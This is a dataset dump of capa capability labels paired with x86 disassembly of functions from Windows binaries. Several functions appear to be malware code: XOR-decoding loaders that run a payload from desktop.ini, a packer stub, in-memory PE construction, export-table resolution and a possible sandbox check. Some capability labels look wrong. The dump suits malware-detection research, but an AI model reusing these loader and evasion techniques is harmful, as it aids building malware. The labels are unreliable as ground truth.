joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6d48a846
Capabilities:
Create directory

Disassembly:
push esi
push dword [0x6d49bca0]
push dword [esp + 0x14]
push dword [esp + 0x10]
call fcn.6d4853cb
mov esi, eax
add esp, 0xc
test esi, esi
jne 0x6d48a867
xor al, al
jmp 0x6d48a881
push edi
push 0
push esi
call dword [sym.imp.kernel32.dll_CreateDirectoryW]
push esi
mov edi, eax
call dword [sym.imp.msvcr100.dll_free]
test edi, edi
pop ecx
setne al
pop edi
pop esi
ret 0xc

Function at 0x6d48a885
Capabilities:
Move file

Disassembly:
push ebx
push esi
push edi
push dword [0x6d49bca0]
xor bl, bl
push dword [esp + 0x1c]
push dword [esp + 0x18]
call fcn.6d4853cb
push dword [0x6d49bca0]
mov esi, eax
push dword [esp + 0x2c]
push dword [esp + 0x24]
call fcn.6d4853cb
add esp, 0x18
mov edi, eax
test esi, esi
je 0x6d48a8e1
test edi, edi
je 0x6d48a8e1
push edi
push esi
call dword [sym.imp.msvcr100.dll__wrename]
pop ecx
pop ecx
test eax, eax
jne 0x6d48a8cf
inc bl
push esi
mov esi, dword [sym.imp.msvcr100.dll_free]
call esi
push edi
call esi
pop ecx
pop ecx
mov al, bl
jmp 0x6d48a8e3
xor al, al
pop edi
pop esi
pop ebx
ret 0x10

Function at 0x6d48a983
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push ecx
push esi
push dword [0x6d49bca0]
mov byte [esp + 0xb], 0
push dword [esp + 0x18]
push dword [esp + 0x14]
call fcn.6d4853cb
mov esi, eax
add esp, 0xc
test esi, esi
jne 0x6d48a9aa
xor al, al
jmp 0x6d48aa06
push ebx
push edi
mov edi, dword [sym.imp.kernel32.dll_GetFileAttributesW]
push esi
call edi
mov ebx, dword [sym.imp.msvcr100.dll_free]
cmp eax, 0xffffffff
je 0x6d48a9fc
push ebp
test eax, 0x400
je 0x6d48a9de
push esi
call fcn.6d489bba
mov ebp, eax
pop ecx
test ebp, ebp
je 0x6d48a9fb
push esi
call ebx
pop ecx
push ebp
mov esi, ebp
call edi
cmp eax, 0xffffffff
je 0x6d48a9fb
test al, 0x10
jne 0x6d48a9fb
or eax, 1
push eax
push esi
call dword [sym.imp.kernel32.dll_SetFileAttributesW]
test eax, eax
je 0x6d48a9fb
mov byte [esp + 0x13], 1
pop ebp
push esi
call ebx
mov al, byte [esp + 0x13]
pop ecx
pop edi
pop ebx
pop esi
pop ecx
ret 0xc
Function at 0x6d48aa6d
Capabilities:
Get disk size

Disassembly:
push ebp
lea ebp, [esp - 0x7a0]
sub esp, 0x820
mov eax, dword [0x6d49bb70]
xor eax, ebp
mov dword [ebp + 0x79c], eax
mov ecx, dword [ebp + 0x7b0]
mov eax, dword [ebp + 0x7a8]
push ebx
push esi
push edi
push dword [0x6d49bca0]
xor esi, esi
push ecx
push eax
xor edi, edi
call fcn.6d4853cb
add esp, 0xc
mov ebx, eax
push 0x400
lea eax, [ebp - 0x68]
push eax
push ebx
call dword [sym.imp.kernel32.dll_GetVolumePathNameW]
test eax, eax
je 0x6d48ab01
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.kernel32.dll_GetDiskFreeSpaceExW]
test eax, eax
je 0x6d48ab01
mov eax, dword [ebp + 0x7b4]
sub eax, edi
je 0x6d48aafb
dec eax
je 0x6d48aaf3
dec eax
jne 0x6d48ab01
mov esi, dword [ebp - 0x80]
mov edi, dword [ebp - 0x7c]
jmp 0x6d48ab01
mov esi, dword [ebp - 0x70]
mov edi, dword [ebp - 0x6c]
jmp 0x6d48ab01
mov esi, dword [ebp - 0x78]
mov edi, dword [ebp - 0x74]
push ebx
call dword [sym.imp.msvcr100.dll_free]
pop ecx
mov ecx, dword [ebp + 0x79c]
mov edx, edi
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.6d491820
add ebp, 0x7a0
leave
ret 0x10

Function at 0x6d48abe1
Capabilities:
Check if file exists

Disassembly:
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 2
je 0x6d48ac17
cmp eax, 0x10b
je 0x6d48ac17
cmp eax, 3
je 0x6d48ac17
cmp eax, 0x35
je 0x6d48ac17
cmp eax, 0x43
je 0x6d48ac17
cmp eax, 5
je 0x6d48ac17
cmp eax, 0x4cf
je 0x6d48ac17
cmp eax, 0x41
je 0x6d48ac17
xor eax, eax
inc eax
ret
xor eax, eax
ret

Function at 0x6d48b7a5
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x90]
sub esp, 0x110
mov eax, dword [0x6d49bb70]
xor eax, ebp
mov dword [ebp + 0x8c], eax
mov eax, dword [ebp + 0x98]
push ebx
mov ebx, dword [eax]
and dword [esi], 0
cmp dword [0x6d49bca8], 0
mov dword [ebp - 0x78], edx
mov dword [ebp - 0x7c], ecx
je 0x6d48b7f7
push eax
push ecx
push esi
push 0
push dword [edi*4 + str.DPIm4PIm_PIm_PImO]
push edx
call dword [sym.imp.advapi32.dll_RegQueryValueExW]
test eax, eax
jne 0x6d48b7f7
cmp dword [esi], 1
je 0x6d48b843
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x74]
push eax
push esi
push 0
push dword [edi*4 + 0x6d49b30c]
mov dword [ebp - 0x80], 0x100
push dword [ebp - 0x78]
call dword [sym.imp.advapi32.dll_RegQueryValueExA]
test eax, eax
jne 0x6d48b845
cmp dword [esi], 1
je 0x6d48b829
mov eax, 0x3f2
jmp 0x6d48b845
shr ebx, 1
push ebx
push dword [ebp - 0x7c]
lea eax, [ebp - 0x74]
push 0xffffffffffffffff
push eax
push 8
push 0
call dword [sym.imp.kernel32.dll_MultiByteToWideChar]
test eax, eax
jle 0x6d48b822
xor eax, eax
mov ecx, dword [ebp + 0x8c]
xor ecx, ebp
pop ebx
call fcn.6d491820
add ebp, 0x90
leave
ret
Function at 0x6d48c007
Capabilities:
Delete registry key

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0xc]
mov eax, dword [esi]
push edi
push 0
push dword [esp + 0x20]
push esi
call dword [eax + 0x2e0]
mov edi, eax
push edi
push dword [esp + 0x1c]
call dword [sym.imp.advapi32.dll_RegDeleteKeyA]
push 0
push edi
push dword [esp + 0x24]
mov ebx, eax
mov eax, dword [esi]
push esi
call dword [eax + 0x300]
pop edi
pop esi
mov eax, ebx
pop ebx
ret 0x10

Function at 0x6d48c34e
Capabilities:
Create new key via cryptacquirecontext
Generate random numbers via winapi

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword [sym.imp.advapi32.dll_CryptAcquireContextA]
push edi
xor ebx, ebx
push ebx
push 1
push ebx
mov edi, str.J2SE
push edi
lea eax, [ebp - 8]
push eax
mov byte [ebp - 1], bl
call esi
test eax, eax
jne 0x6d48c389
push 8
push 1
push ebx
push edi
lea eax, [ebp - 8]
push eax
call esi
test eax, eax
jne 0x6d48c389
xor al, al
jmp 0x6d48c3da
push dword [ebp + 0x10]
mov esi, dword [ebp + 8]
mov eax, dword [esi]
push esi
call dword [eax + 0x2ac]
push ebx
push dword [ebp + 0x10]
mov dword [ebp + 8], eax
mov eax, dword [esi]
push esi
call dword [eax + 0x2e0]
mov edi, eax
push edi
push dword [ebp + 8]
push dword [ebp - 8]
call dword [sym.imp.advapi32.dll_CryptGenRandom]
test eax, eax
je 0x6d48c3bf
mov byte [ebp - 1], 1
mov eax, dword [esi]
push ebx
push edi
push dword [ebp + 0x10]
push esi
call dword [eax + 0x300]
push ebx
push dword [ebp - 8]
call dword [sym.imp.advapi32.dll_CryptReleaseContext]
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x6d48e120
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x6d48e12f
pop dword [ebp - 8]
mov eax, 0x130341ed
add eax, 0x5a459f42
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0x603070ec
sub dword [ebp - 0x18], 0x11de2ba1
mov dword [ebp - 0x14], 0x57cdc3ae
sub dword [ebp - 0x14], 0x259a7769
mov dword [ebp - 0x10], 0x10bba959
sub dword [ebp - 0x10], 0xc46f652b
mov dword [ebp - 0xc], 0x73be95cf
sub dword [ebp - 0xc], 0x73be95cf
lea eax, [ebp - 0x18]
push eax
mov eax, 0x2c3b365c
add eax, 0x410dfac4
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0x9dedcb5d
sub dword [ebp - 0x18], 0x297b6207
mov dword [ebp - 0x14], 0xf8893f0c
sub dword [ebp - 0x14], 0xb71cdd97
mov dword [ebp - 0x10], 0x64cf710f
add dword [ebp - 0x10], 0xfe9ffb5d
mov dword [ebp - 0xc], 0x4df586b9
add dword [ebp - 0xc], 0xb20a7947
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, 0xa01aa42d
sub eax, 0x32d17311
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x3ca29
push 0
call eax
mov ecx, 0x5c21
mov esi, eax
mov edx, 0x6d49f400
add edx, dword [ebp - 8]
mov ebx, 0xbcc40de2
sub ebx, 0xf684469a
mov edi, dword [edx]
xor edi, ebx
sub dword [ebp - 4], eax
mov dword [esi], edi
mov dword [ebp - 4], 0xddc727f3
add esi, 0x31545994
sub esi, 0x31545990
add edx, 0x2ea879b8
add edx, 0xd157864c
loop 0x6d48e245
add eax, 0x9e808119
add eax, 0x6180e23e
mov ebx, eax
add eax, 0x1b1a1c11
add eax, 0xe4e5e3f4
mov ecx, 0x95eb49a
sub ecx, 0x9c16b49a
add ecx, dword [ebp - 8]
call ebx
leave
ret
Function at 0x6d491820
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x6d49bb70]
jne 0x6d49182a
repz ret
jmp fcn.6d491dab

Function at 0x10001193
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, str.dpmmBmbvusjWfmjGebfSfmjGfubfsDXfuvdfyFmmfiT
push edi
mov eax, esi
call fcn.1000117f
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor ebx, ebx
push str.shell32.dll
mov byte [0x10003029], bl
mov byte [0x10003034], bl
mov byte [0x1000303d], bl
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x10003035
push str.kernel32.dll
mov dword [ebp - 4], eax
call esi
push eax
call edi
push 0x1000303e
push str.kernel32.dll
mov dword [ebp - 8], eax
call esi
push eax
call edi
push 1
push ebx
push ebx
push 0x10002058
push ebx
push ebx
mov edi, eax
call dword [ebp - 4]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push str.desktop.ini
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x10003060], eax
cmp eax, 0xffffffff
je 0x100013f5
push 0x40
mov esi, 0x1000
push esi
push esi
push ebx
call edi
push ebx
push 0x10003064
push esi
push eax
push dword [0x10003060]
mov dword [0x1000305c], eax
call dword [ebp - 8]
mov eax, dword [0x1000305c]
mov cl, byte [eax]
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
movzx ecx, cl
xor ecx, 0x4e
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
xor esi, esi
cmp dword [0x10003064], esi
jbe 0x10001375
mov eax, dword [0x1000305c]
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003064]
jb 0x1000135c
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
call dword [0x1000305c]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
mov ecx, 0x5aae7159
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x43304e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x433024
nop
mov eax, section..data
nop
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x48eb5812
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x10001662
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push esi
and esp, 0xfffffff8
sub esp, 0x80
mov eax, esp
mov dword [eax + 4], 0x2eb
mov dword [eax], 0x2542a4
mov eax, dword [sym.imp.KERNEL32.dll_TerminateProcess]
call eax
sub esp, 8
xor ecx, ecx
lea edx, [esp + 0x60]
mov dword [esp + 0x5c], eax
mov dword [esp + 0x58], edx
mov dword [esp + 0x54], ecx
mov eax, dword [esp + 0x54]
xor ecx, ecx
mov edx, esp
mov dword [edx], 0x63f80a
mov edx, dword [sym.imp.USER32.dll_SetFocus]
mov dword [esp + 0x50], eax
mov dword [esp + 0x4c], ecx
call edx
sub esp, 4
mov ecx, esp
mov dword [ecx], 0xdb1045
mov ecx, dword [sym.imp.ADVAPI32.dll_CloseEventLog]
mov dword [esp + 0x48], eax
call ecx
sub esp, 4
mov ecx, esp
mov dword [ecx + 8], 0x634
mov dword [ecx + 4], 0xb67f0d
mov dword [ecx], 0x896e5a
mov ecx, dword [sym.imp.GDI32.dll_ExtSelectClipRgn]
mov dword [esp + 0x44], eax
call ecx
sub esp, 0xc
xor ecx, ecx
mov edx, dword [esp + 0x50]
sub edx, 1
mov dword [esp + 0x40], eax
mov dword [esp + 0x3c], ecx
mov dword [esp + 0x38], edx
je 0x1000176a
jmp 0x10001710
mov eax, dword [esp + 0x50]
sub eax, 0x2e
mov ecx, dword [esp + 0x3c]
mov dword [esp + 0x34], eax
mov dword [esp + 0x30], ecx
jne 0x100017bf
jmp 0x1000172b
mov eax, esp
mov dword [eax], 0x178594
mov eax, dword [sym.imp.GDI32.dll_BeginPath]
call eax
sub esp, 4
mov ecx, esp
mov dword [ecx], 0x52df89
mov ecx, dword [sym.imp.KERNEL32.dll_ReleaseActCtx]
mov dword [esp + 0x2c], eax
call ecx
sub esp, 4
mov eax, esp
mov dword [eax], 0x4cf98d
mov eax, dword [sym.imp.GDI32.dll_GetBkColor]
call eax
sub esp, 4
mov dword [esp + 0x28], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
call eax
xor ecx, ecx
mov edx, 0x18
mov esi, dword [esp + 0x58]
mov dword [esp], esi
mov dword [esp + 4], 0
mov dword [esp + 8], 0x18
mov dword [esp + 0x24], eax
mov dword [esp + 0x20], ecx
mov dword [esp + 0x1c], edx
call fcn.10005890
mov eax, esp
lea ecx, [esp + 0x60]
mov dword [eax], ecx
mov dword [eax + 4], 0xfe6
mov eax, dword [sym.imp.KERNEL32.dll_SetCriticalSectionSpinCount]
call eax
sub esp, 8
mov dword [esp + 0x18], eax
jmp 0x100017f3
mov eax, dword [esp + 0x30]
add eax, 1
mov ecx, esp
mov dword [ecx], 0x9af
mov ecx, dword [sym.imp.GDI32.dll_CreateSolidBrush]
mov dword [esp + 0x14], eax
call ecx
sub esp, 4
mov ecx, dword [esp + 0x14]
cmp ecx, 0xa
mov dword [esp + 0x10], eax
mov dword [esp + 0x30], ecx
jne 0x100017bf
mov eax, dword [esp + 0x50]
add eax, 1
cmp eax, 0xfa
mov dword [esp + 0x54], eax
jne 0x1000169a
lea esp, [ebp - 4]
pop esi
pop ebp
ret

Function at 0x10005c9c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10230740]
jne 0x10005ca6
repz ret
jmp fcn.10005f4d
Function at 0x10006710
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x28
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
mov esi, 0x20f3
xor edi, edi
mov dword [0x10230718], 0x20f3
mov dword [0x10230724], 0
mov byte [0x10230728], 0
mov dword [0x1023071c], 0x1f84
mov dword [0x10230720], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x20], edi
jmp 0x10006857
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x28]
mov edx, 0x23e
mov esi, 0x100
mov dword [0x1023072c], 0
mov dword [ebp - 0x2c], eax
mov eax, ecx
xor edi, edi
mov dword [ebp - 0x30], edx
mov edx, edi
mov edi, dword [ebp - 0x10]
div edi
mov ebx, dword [ebp - 0x2c]
mov dword [0x1023071c], ebx
mov ebx, dword [0x10230724]
mov edi, dword [ebp - 0x18]
movzx edi, byte [edi + ecx]
add edi, ebx
mov ebx, dword [ebp - 0x14]
movzx edx, byte [ebx + edx]
add edi, edx
mov dword [0x1023072c], edi
mov eax, edi
cdq
idiv esi
mov dword [0x10230724], edx
mov dword [0x10230718], 0x133c
mov esi, dword [ebp - 0x18]
mov bl, byte [esi + ecx]
mov byte [0x10230728], bl
mov dword [0x1023071c], 0x2285
mov bl, byte [esi + edx]
mov byte [esi + ecx], bl
mov bl, byte [0x10230728]
mov ecx, dword [0x10230724]
mov byte [esi + ecx], bl
mov dword [0x10230718], 0xce3
mov ecx, dword [0x10230720]
add ecx, 1
mov dword [0x10230720], ecx
cmp ecx, 0x100
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], edx
jl 0x1000676c
add esp, 0x28
pop esi
pop edi
pop ebx
pop ebp
ret
xor eax, eax
mov ecx, dword [ebp - 0x34]
add ecx, 0x1856
mov dword [0x10230720], 0
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], ecx
jmp 0x1000676c
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov edx, eax
mov bl, dl
add ecx, 0xffffed74
mov dword [0x1023071c], ecx
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], bl
mov eax, dword [0x1023071c]
mov edx, eax
add edx, 0x22fb
mov dword [0x10230718], edx
mov esi, dword [0x10230720]
add esi, 1
mov dword [0x10230720], esi
cmp esi, 0x100
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
jl 0x10006857
jmp 0x10006837
Function at 0x1000692d
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
xor edx, edx
mov dword [0x1023071c], 0x1669
mov dword [0x10230718], 0x5a0
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], edx
jmp 0x10006974
mov eax, dword [ebp - 0x30]
add eax, 0x24c9
mov dword [0x1023071c], 0x1815
mov dword [ebp - 0x34], eax
jmp 0x10006a84
mov eax, dword [ebp - 0x2c]
mov ecx, eax
add ecx, 1
mov dl, byte [eax + 0x1022c56b]
mov dh, byte [eax + 0x1022c53c]
sub dh, dl
mov byte [ebp + eax - 0x20], dh
cmp ecx, 0xe
mov dword [ebp - 0x2c], ecx
jne 0x10006974
lea eax, [ebp - 0x20]
mov dword [0x10230718], 0x26eb
mov dword [0x1023071c], 0x7fc
mov dword [ebp - 0x38], eax
call fcn.10007284
mov dword [esp], eax
mov eax, dword [ebp - 0x38]
mov dword [esp + 4], eax
call fcn.1000632f
xor ecx, ecx
mov dword [0x10230718], 0x79
cmp eax, 0
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x34], ecx
je 0x10006a84
mov dword [0x10230718], 0xb1f
mov eax, dword [ebp - 0x3c]
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov dword [0x10230718], 0xc6
mov dword [esp], eax
mov ecx, dword [ebp - 0x24]
mov dword [esp + 4], ecx
mov dword [ebp - 0x30], eax
call fcn.10006541
xor eax, eax
mov ecx, dword [ebp - 0x30]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xd0
mov dword [ecx + 0xd0], 0x4550
add ecx, 0xffc00000
mov dword [0x10230718], 0xf02
mov edx, dword [ebp - 0x28]
mov dword [edx + 0x28], ecx
mov ecx, dword [ebp - 0x30]
mov dword [edx + 0x2c], ecx
mov dword [0x1023071c], 0x123a
cmp ecx, 0
mov dword [ebp - 0x34], eax
jne 0x1000695a
mov eax, dword [ebp - 0x34]
add esp, 0x4c
pop ebp
ret
Function at 0x10006b43
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x38
mov eax, dword [ebp + 8]
mov ecx, dword [0x1023071c]
add ecx, 0xfffff6df
mov dword [0x10230718], ecx
mov dword [0x1023071c], 0x1131
mov dword [ebp - 0x10], eax
call fcn.10007660
xor ecx, ecx
mov edx, eax
mov dword [0x1023071c], 0x1283
mov dword [0x10230718], 0x15c6
mov esi, dword [eax + 0x3c]
mov dword [0x1023071c], 0x8cd
mov esi, dword [eax + esi + 0x78]
mov dword [0x1023071c], 0x3582
mov edi, edx
add edi, dword [eax + esi + 0x20]
mov dword [0x10230718], 0xffffecce
mov eax, dword [eax + esi + 0x18]
cmp eax, 0
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], ecx
je 0x10006cca
jmp 0x10006c2a
xor eax, eax
mov ecx, dword [ebp - 0x28]
add ecx, 1
mov edx, dword [ebp - 0x2c]
add edx, 2
mov esi, dword [ebp - 0x18]
cmp ecx, esi
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x24], eax
jb 0x10006c3c
jmp 0x10006cca
mov eax, dword [ebp - 0x38]
mov ecx, eax
mov edx, dword [ebp - 0x3c]
add ecx, edx
mov esi, dword [ebp - 0x1c]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x40], eax
mov byte [ebp - 0x41], bh
mov byte [ebp - 0x42], cl
je 0x10006c8f
jmp 0x10006c62
xor eax, eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x20]
add ecx, dword [ecx + edx + 0x24]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], ecx
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x34]
xor edx, edx
mov esi, dword [ebp - 0x14]
mov edi, dword [esi + ecx*4]
mov dword [0x10230718], 0x2c61
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x38], edx
jmp 0x10006bff
mov al, byte [ebp - 0x41]
cmp al, 0
setne cl
mov edx, dword [ebp - 0x40]
add edx, 1
mov ah, byte [ebp - 0x42]
and ah, cl
cmp edx, 0x20
setb cl
and ah, cl
test ah, 1
mov dword [ebp - 0x38], edx
jne 0x10006bff
mov al, byte [ebp - 0x42]
test al, 1
jne 0x10006c9b
jmp 0x10006bd6
mov eax, dword [ebp - 0x2c]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x20]
add edx, dword [edx + esi + 0x1c]
mov dword [0x1023071c], 0x553
mov ecx, dword [edx + ecx*4]
mov dword [0x10230718], 0x15a4
mov edx, dword [ebp - 0x1c]
add edx, ecx
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x24]
add esp, 0x38
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x100073c5
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [0x10230718], 0x1557
mov dword [ebp - 4], 0
mov eax, dword fs:[0x30]
mov dword [ebp - 4], eax
xor ecx, ecx
mov dword [0x1023071c], 0x43b
mov edx, dword [ebp - 4]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], ecx
jmp 0x1000743d
xor eax, eax
mov dword [0x1023071c], 0xe66
mov dword [ebp - 0x14], eax
jmp 0x10007435
mov dword [0x1023071c], 0x220f
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0xe], 0x6c
je 0x10007516
jmp 0x10007405
mov eax, dword [ebp - 0x14]
add esp, 0x20
pop ebp
ret
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], edx
je 0x10007474
mov dword [0x10230718], 0x96f
mov eax, dword [ebp - 0x1c]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x20], eax
jl 0x1000743d
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x18], eax
jne 0x10007405
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0x18], 0x6f
jne 0x10007405
mov dword [0x10230718], 0xffffeee6
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0x16], 0x61
jne 0x10007405
mov dword [0x1023071c], 0xffffd45e
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0x14], 0x64
jne 0x10007405
mov dword [0x1023071c], 0xfffff81a
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0x12], 0x64
jne 0x10007405
mov dword [0x10230718], 0x2244
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0x10], 0x6c
je 0x10007416
jmp 0x10007405
mov eax, 1
mov dword [0x10230718], 0x720
mov dword [ebp - 0x14], eax
jmp 0x10007435